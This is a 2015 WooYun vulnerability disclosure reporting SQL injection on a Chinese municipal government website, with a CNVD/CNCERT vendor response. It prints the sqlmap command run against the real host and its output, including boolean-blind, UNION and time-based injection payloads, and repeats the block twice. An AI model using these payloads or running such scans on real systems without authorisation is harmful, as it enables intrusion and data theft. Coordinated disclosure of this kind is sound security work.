当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127396

漏洞标题:某市人民政府存在漏洞#信息泄漏

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-19 21:52

修复时间:2015-09-07 05:26

公开时间:2015-09-07 05:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-19: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

rt,你想干什么都可以,嗯就是这样。
要是想打打电话什么的,跟他们聊聊天也是蛮好的

详细说明:

root@kali:~# sqlmap -u "http://p.enshi.gov.cn/?act=list&cid=1*&.html"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:06:25
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[17:06:27] [INFO] resuming back-end DBMS 'mysql'
[17:06:27] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://p.enshi.gov.cn:80/?act=list&cid=1 AND 1920=1920&.html
Type: UNION query
Title: MySQL UNION query (NULL) - 14 columns
Payload: http://p.enshi.gov.cn:80/?act=list&cid=1 UNION ALL SELECT CONCAT(0x716a716271,0x55574968586a7449716e,0x7178716a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: http://p.enshi.gov.cn:80/?act=list&cid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))HbWs)&.html
---
[17:06:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[17:06:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/p.enshi.gov.cn'
[*] shutting down at 17:06:29


1.png

2.jpg

漏洞证明:

root@kali:~# sqlmap -u "http://p.enshi.gov.cn/?act=list&cid=1*&.html"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150708}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:06:25
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[17:06:27] [INFO] resuming back-end DBMS 'mysql'
[17:06:27] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://p.enshi.gov.cn:80/?act=list&cid=1 AND 1920=1920&.html
Type: UNION query
Title: MySQL UNION query (NULL) - 14 columns
Payload: http://p.enshi.gov.cn:80/?act=list&cid=1 UNION ALL SELECT CONCAT(0x716a716271,0x55574968586a7449716e,0x7178716a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: http://p.enshi.gov.cn:80/?act=list&cid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))HbWs)&.html
---
[17:06:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET, Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[17:06:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/p.enshi.gov.cn'
[*] shutting down at 17:06:29


1.png

2.jpg

修复方案:

你们更专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-24 05:25

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置.

最新状态:

暂无